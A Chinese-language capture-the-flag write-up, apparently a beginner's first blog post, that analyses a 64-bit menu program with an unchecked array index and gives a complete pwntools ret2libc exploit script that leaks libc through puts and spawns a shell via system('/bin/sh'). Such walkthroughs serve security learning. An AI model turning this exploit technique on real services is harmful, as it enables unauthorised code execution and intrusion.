这是我的第一篇博客,写的不好还请见谅QAQ。小人彩笔Pwner一名,但会努力写出更多WP来丰富自己的经验的!
题目描述
这是一道来自于NPC²CTF的PWN题,难度为简单(实际上也不算很简单吧)

分析
上来老规矩先运行一下程序 并且checksec一下 OwO

可以看到 这是一个64位的程序,开了Canary和NX保护 运行程序之后可以发现这是一个类似堆题那种菜单题
IDA分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| int __fastcall main(int argc, const char **argv, const char **envp) { int v4; __int64 v5; __int64 v6; _QWORD lists[18];
lists[17] = __readfsqword(0x28u); init(argc, argv, envp); memset(lists, 0, 0x80uLL); while ( 1 ) { puts("'List' Option Menu:"); printf("The Size of the 'List' : %d\n", k); puts("1:Change\n2:Add\n3:Delete\n4:Show\n5:Exit\nYour option:"); __isoc99_scanf("%d", &v4); if ( v4 == 5 ) return 0; if ( v4 == 3 ) { puts("which 0ne?"); __isoc99_scanf("%d", &v6); if ( (int)v6 >= k ) goto LABEL_18; while ( (int)v6 < k ) { lists[(int)v6] = lists[(int)v6 + 1]; LODWORD(v6) = v6 + 1; } --k; puts("OK"); } if ( v4 == 2 ) { if ( ++k <= 16 ) { printf("Elem:"); __isoc99_scanf("%lld", &v6); lists[k] = v6; goto LABEL_13; } LABEL_18: puts("Invalid option!"); } else { LABEL_13: if ( v4 == 1 ) { if ( k > 16 ) goto LABEL_18; __isoc99_scanf("%lld%lld", &v5, &v6); lists[v5] = v6; } if ( v4 == 4 ) { if ( k > 16 ) goto LABEL_18; for ( i = 1; i <= k; ++i ) printf("%lld ", lists[i]); putchar('\n'); } } } }
|
一看反编译 不是堆题!!! 实现了一个很简单的list,可以进行增删改查和退出 慢慢分析 可以找到一个非常明显的漏洞
1 2 3 4 5 6 7
| if ( v4 == 1 ) { if ( k > 16 ) goto LABEL_18; __isoc99_scanf("%lld%lld", &v5, &v6); lists[v5] = v6; }
|
发现没有对v5进行越界检查,使得可以对栈上数据进行改写 但是这里请注意v6的格式是%lld 所以之后在写攻击脚本的时候要格外注意一下
那么事情就很简单了,看一眼IDA里的栈情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152
| -00000000000000B0 -00000000000000B0 -00000000000000B0 -00000000000000B0 -00000000000000AF -00000000000000AE -00000000000000AD -00000000000000AC -00000000000000AB -00000000000000AA -00000000000000A9 -00000000000000A8 -00000000000000A7 -00000000000000A6 -00000000000000A5 -00000000000000A4 _DWORD var_A4; -00000000000000A0 _QWORD var_A0; -0000000000000098 _QWORD var_98; -0000000000000090 _QWORD lists; -0000000000000088 -0000000000000087 -0000000000000086 -0000000000000085 -0000000000000084 -0000000000000083 -0000000000000082 -0000000000000081 -0000000000000080 -000000000000007F -000000000000007E -000000000000007D -000000000000007C -000000000000007B -000000000000007A -0000000000000079 -0000000000000078 -0000000000000077 -0000000000000076 -0000000000000075 -0000000000000074 -0000000000000073 -0000000000000072 -0000000000000071 -0000000000000070 -000000000000006F -000000000000006E -000000000000006D -000000000000006C -000000000000006B -000000000000006A -0000000000000069 -0000000000000068 -0000000000000067 -0000000000000066 -0000000000000065 -0000000000000064 -0000000000000063 -0000000000000062 -0000000000000061 -0000000000000060 -000000000000005F -000000000000005E -000000000000005D -000000000000005C -000000000000005B -000000000000005A -0000000000000059 -0000000000000058 -0000000000000057 -0000000000000056 -0000000000000055 -0000000000000054 -0000000000000053 -0000000000000052 -0000000000000051 -0000000000000050 -000000000000004F -000000000000004E -000000000000004D -000000000000004C -000000000000004B -000000000000004A -0000000000000049 -0000000000000048 -0000000000000047 -0000000000000046 -0000000000000045 -0000000000000044 -0000000000000043 -0000000000000042 -0000000000000041 -0000000000000040 -000000000000003F -000000000000003E -000000000000003D -000000000000003C -000000000000003B -000000000000003A -0000000000000039 -0000000000000038 -0000000000000037 -0000000000000036 -0000000000000035 -0000000000000034 -0000000000000033 -0000000000000032 -0000000000000031 -0000000000000030 -000000000000002F -000000000000002E -000000000000002D -000000000000002C -000000000000002B -000000000000002A -0000000000000029 -0000000000000028 -0000000000000027 -0000000000000026 -0000000000000025 -0000000000000024 -0000000000000023 -0000000000000022 -0000000000000021 -0000000000000020 -000000000000001F -000000000000001E -000000000000001D -000000000000001C -000000000000001B -000000000000001A -0000000000000019 -0000000000000018 -0000000000000017 -0000000000000016 -0000000000000015 -0000000000000014 -0000000000000013 -0000000000000012 -0000000000000011 -0000000000000010 -000000000000000F -000000000000000E -000000000000000D -000000000000000C -000000000000000B -000000000000000A -0000000000000009 -0000000000000008 _QWORD var_8; +0000000000000000 _QWORD __saved_registers; +0000000000000008 _UNKNOWN *__return_address; +0000000000000010 +0000000000000010
|
由于这个数组是_QWORD类型 所以一个下标是八字节 那么就可以算出这个数组头距离返回地址的距离为0x90+0x8=19x8 也就是这个数组的第十九个下标就是返回地址
写攻击脚本
攻击脚本如下Owo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import * context.log_level = 'debug' p=remote('127.0.0.1',45407)
elf=ELF('./list') libc=ELF('./libc.so.6') gdb.attach(p) puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] pop_rdi=0x0000000000400ad3 main_addr=0x4007c1 def Rop(cont,idx): p.sendlineafter('Your option:',b'1') p.sendline(cont) p.sendline(str(idx)) Rop(b'19',pop_rdi) Rop(b'20',puts_got) Rop(b'21',puts_plt) Rop(b'22',main_addr) p.sendline(b'5') p.recvuntil('Your option:\n') puts_addr=u64(p.recv(6).ljust(8,b'\x00')) libc_base=puts_addr-libc.sym['puts'] print('puts_addr:',hex(puts_addr)) print('libc_base:',hex(libc_base)) system_addr=libc_base+libc.sym['system'] print('system_addr:',hex(system_addr)) bin_sh=libc_base+next(libc.search(b'/bin/sh')) Rop(b'19',pop_rdi) Rop(b'20',bin_sh) Rop(b'21',system_addr) p.sendline(b'5') p.interactive()
|
很简单的ret2libc 首先先从程序文件中提取出puts_got和puts_plt 并且使用ROPgadget找到一个pop rdi用来传递参数
定义一个Rop函数用来简化操作(一定要用函数来简化自己的操作!!特别是这种菜单题!) 注意这里的所有数据都是用str()来传递的(前面提到的%lld的原因) 覆盖返回地址之后要记得exit一下!!!这样才能让main函数返回
得到弗莱格咯!!!

flag{4rrAy_1nD3x-ouT-of_B0UnDS_Is_5o_d@NG3rOU5lll12}